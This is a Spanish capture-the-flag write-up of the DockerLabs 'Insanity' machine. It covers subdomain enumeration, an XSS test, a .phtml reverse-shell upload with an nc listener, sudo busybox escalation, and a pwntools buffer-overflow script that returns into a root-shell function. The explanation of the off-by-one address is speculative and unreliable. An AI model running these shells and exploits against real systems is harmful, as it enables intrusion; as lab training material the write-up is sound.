Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 11:37 EST
Nmap scan report for insanity.dl (172.17.0.2)
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds
Si entramos en la pagina vemos algo normal, pero si nos fijamos en la pagina de apache2 que viene por defecto en el siguiente campo, vemos algo bastante interesante que no viene por defecto:
located at /var/www/5eEk3r/index.html
Vemos un nombre llamado 5eEk3r.
Tras mucha busqueda probamos a utilizarlo como dominio de la siguiente forma:
5eEk3r.dl (.dl de DockerLabs)
Y lo meteremos en nuestro archivo hosts de la siguiente forma:
nano /etc/hosts
#Dentro del nano
<IP> 5eEk3r.dl
Lo guardamos y ahora entramos mediante ese dominio.
URL = http://5eEk3r.dl/
Vemos que la pagina sigue siendo la misma, si hacemos fuzzingde directorios seguimos sin ver nada, pero cuando tenemos un dominio podremos ver si tiene subdominios con el dominio, por lo que haremos lo siguiente.
Vemos que tenemos un subdominio llamado crosswords, por lo que nos meteremos de la siguiente forma a la URL.
Pero antes lo meteremos de nuevo en nuestro archivo hosts de la siguiente forma:
nano /etc/hosts
#Dentro del nano
<IP> 5eEk3r.dl crosswords.5eek3r.dl
Lo guardamos y ahora si lo buscamos.
URL = http://crosswords.5eek3r.dl/
Veremos lo siguiente:
Si inspeccionamos la pagina y bajamos abajo del todo veremos lo siguiente:
<!-- Al que contratamos para crear la web nos habló de algo llamado 'xss'... que será? -->
Vemos que nos esta hablando de que alguna forma se puede hacer XSS en la pagina que es una vulnerabilidad web en la que puedes injectar codigo dedicado al HTML, CSS, JS, etc... Y en la que se pueden hacer diversas cosas con la funcion <script>, pero tendremos que investigar a ver como realizarlo.
Para ello tendremos que abrir BurpSuite ponernos en mitad de la comunicacion entre Cliente-Servidor y si capturamos la respuesta del usuario que va a enviar la palabra en este caso esto:
<p style='color:red;'>test</p>
Para ver si la palabra test se pone en rojo, y la enviamos con BurpSuite veremos que no pasa nada, pero si vemos a nivel de codigo lo que esta pasando, vemos lo siguiente:
<d ghmzs='qczcf:fsr;'>hsgh</d>
Vemos que se esta codificando por lo que vamos activar una opcion en BurpSuite para que tambien podamos obtener la respuesta del servidor y asi modificar a tiempo real la respuesta para que cuando se envie se ejecute.
Modificaremos en BurpSuite esto:
Marcaremos esa casilla.
Ahora volveremos a capturar la respuesta con la misma frase:
<p style='color:red;'>test</p>
Una vez capturado le daremos una vez al boton llamado Forward y nos llegara la respuesta del servidor, en la parte de Response identificaremos la fraccion del codigo que ya esta codificada:
Vemos que es esa de ahi, por lo que la dejaremos de la siguiente forma:
Ahora lo enviaremos y veremos lo siguiente en la pagina:
Vemos que nos ha funcionado, por lo que ya sabremos como realizar un XSS en la pagina, pero si seguimos investigando sera inutil la busqueda, vamos a probar ha realizar fuzzing:
Vemos que nos saca un archivo .txt bastante interesante llamado /converts.txt, si nos metemos dentro no veremos absolutamente nada por lo que no nos sirve de mucho.
Vamos a seguir realizando mas fuzzing pero esta vez para ver si hay otro subdominio en la pagina.
Vemos que nos aparecen 3opciones, pero todas parecen ser las mismas, por lo que elegire el llamado admin.
Vamos añadirlo a nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> 5eek3r.dl crosswords.5eek3r.dl admin.crosswords.5eek3r.dl
Lo guardamos e ingresaremos en dicho dominio.
URL = http://admin.crosswords.5eek3r.dl/
Vemos lo siguiente:
Escalate user www-data
Vemos que parece que nos deja subir un archivo en el propio directorio de donde esta la pagina web subida, por lo que intentaremos subir un archivo .php para crearnos una reverse shell.
Moveremos nuestro archivo shell.php a una extension llamada phtml de la siguiente forma:
mv shell.php shell.phtml
Y ahora lo volveremos a subir y veremos el siguiente mensaje:
Archivo subido con éxito: shell.phtml
Por lo que nos iremos a la siguiente URL de esta forma:
Pero antes nos pondremos a la escucha:
nc -lvnp <PORT>
Y ahora si ingresaremos en la siguiente ruta de URL:
URL = http://crosswords.5eek3r.dl/shell.phtml
Y si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 50190
whoami
www-data
Vemos que somos el usuario www-data por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user astu
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on dockerlabs:
(astu : astu) NOPASSWD: /usr/bin/busybox
Vemos que podemos ejecutar el binario busybox como el usuario astu, por lo que haremos lo siguiente:
sudo -u astu busybox sh
bash
Y con esto ya seremos dicho usuario.
Escalation Privileges
Si listamos los permisos SUID que tenemos con este usuario veremos lo siguiente:
Si probamos a ejecutar el binario veremos lo siguiente:
cd /home/astu/secure/
./bs64
Info:
Ingrese el texto: test
dGVdA==
Vemos que parece que el texto que ingresamos nos lo codifica en Base64, pero si probamos a desbordar la memoria.
./bs64
Info:
Ingrese el texto: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
QUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUF
Segmentation fault
Vemos el Segmentation fault por lo que vemos podremos realizar un Buffer Overflow.
Ingenieria inversa "bs64"
Si nos pasamos el binario a nuestro host para ver que funciones tiene y ver a ver que hace con la herramienta ghidra veremos lo siguiente, pero antes los pasos para pasarnos el bianrio.
Maquina victima
python3 -m http.server
Maquina host
wget http://<IP>:8000/bs64
Ahora ejecutaremos la herramienta ghidra:
ghidra
Abriremos un nuevo proyecto e importaremos el binario bs64, si vemos las funciones que tiene veremos que hay una bastante interesante llamada fire que en C se veria algo asi:
Por lo que vemos si llama a esta funcion ejecuta un /bin/sh como el usuario root por el setuid(0), por lo que tendremos que escribir en la memoria que se va a ejecutar esa funcion, para ello tendremos que saber a que direccion de memoria esta esta funcion de la siguiente forma.
Tambien sacaremos el offset ya que lo tenemos en nuestro host de la siguiente forma, utilizaremos gdb con la funcion de pwndbg, ya explique en anteriores writeups como instalarlo:
Vamos a crear un patron para ingresarlo en el gdb del binario.
Pero nos da un error al intentar rellenar el EIP con la funcion fire, aunque lo intentemos de forma manual no se por que no va de ninguna manera, sigue dando un error, por lo que probaremos a montarnos un script con el paquete pwn para que nos facilite mas la tarea.
NOTA
La forma manual nos puede estar dando un error por el echo de que la direccion puede tener caracteres especiales que no estan siendo escapados correctamente, por lo que a la hora de hacerlo con un script esos caracteres se incluyen de forma correcta, este comando si se ejecutaria bien:
Y con esto ya seremos root, pero si queremos hacerlo con un script bien echo, seria de la siguiente forma.
cd /tmp
exploit.py
#!/bin/python3
from pwn import *
# Configuración del binario
binary = '/home/astu/secure/bs64' # Reemplaza con la ruta del binario
context.binary = binary
# Cargar el binario
elf = ELF(binary)
p = process(binary)
# Dirección de la función "fire"
fire_func = 0x40136b # Dirección de la función fire
# Crear el payload
payload = b"A" * 72 # Relleno hasta el EIP (offset de 72 bytes)
payload += p64(fire_func) # Dirección de la función "fire"
# Enviar el payload
log.info(f"Enviando payload: {payload}")
p.sendline(payload)
# Mantener la interacción
p.interactive()
Una vez creado el script si probamos con la direccion que obtenemos al principio 0x40136a no nos ira, pero si probamos la siguiente 0x40136b esta si que funcionara.
Explicación de la explotación
1. Dirección de fire y el desplazamiento en la pila
La dirección de la función fire en tu binario es 0x40136a, pero cuando el exploit funciona, usas 0x40136b. La razón de esta diferencia tiene que ver con cómo las funciones y las direcciones se almacenan en la memoria.
Explicación técnica:
La dirección de la funciónfire es 0x40136a, pero al estar trabajando con un buffer y realizando un overflow de la pila, la dirección de retorno que se sobrescribe no se refiere exactamente a 0x40136a.
Posible causa: Debido a la forma en que se alinean las instrucciones de la CPU o el compilador optimiza el código, la instrucción de retorno (ret) de la función fire podría estar en un byte diferente al de la dirección 0x40136a. En lugar de sobrescribir exactamente en 0x40136a, sobrescribes un byte adicional, que puede estar en 0x40136b.
Por lo tanto, en lugar de apuntar exactamente a 0x40136a, se apunta a 0x40136b y es eso lo que hace que funcione.
2. Por qué no funciona la forma manual
Cuando intentas realizar el exploit de manera manual (es decir, sin un script), puede que no esté funcionando correctamente por uno o varios de estos motivos:
A. Dirección en formato little-endian
Cuando proporcionas la dirección manualmente, asegúrate de que esté en little-endian, ya que la arquitectura x86_64 usa este formato para las direcciones de memoria. El formato little-endian invierte el orden de los bytes de una dirección para que se almacenen en memoria correctamente.
Si tienes la dirección 0x40136b, debería ser invertida para su uso en la pila:
En formato little-endian, 0x40136b se representaría como \x6b\x13\x40\x00\x00\x00\x00\x00.
B. Error en la cantidad de bytes de relleno (offset)
El offset que mencionas es de 72 bytes. Esto significa que debes escribir 72 bytes de relleno antes de colocar la dirección que sobrescribe la dirección de retorno.
Asegúrate de que estés escribiendo exactamente 72 caracteres de relleno ('A' * 72) antes de colocar la dirección de fire. Si no lo haces correctamente, el puntero de retorno puede estar apuntando a un lugar incorrecto.
C. Problemas con el entorno de ejecución
Cuando lo haces manualmente, puede que el entorno de ejecución (por ejemplo, el terminal o el sistema operativo) no esté interpretando correctamente los datos que estás enviando. Si hay espacios en blanco u otros caracteres que pueden ser malinterpretados, eso puede hacer que la ejecución no funcione.
Por ejemplo, asegúrate de que no haya caracteres de nueva línea () o terminadores de cadena al final de la entrada que interfieran con la ejecución.
3. ¿Por qué sí funciona con el script?
Cuando usas un script, todo el proceso es manejado de manera más controlada:
El script asegura que la dirección esté en el formato correcto (little-endian y con la cantidad correcta de bytes).
El script maneja el flujo de entrada de manera consistente, asegurándose de que no haya caracteres extraños que interfieran.
Ejecución del exploit
Ahora lo ejecutaremos de la siguiente forma:
python3 exploit.py
Info:
[*] '/home/astu/secure/bs64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/astu/secure/bs64': pid 163
[*] Enviando payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAk\x13@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
Ingrese el texto: QUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFQUFaxN
$ whoami
root
Y con esto ya seremos root, por lo que habremos terminado la maquina.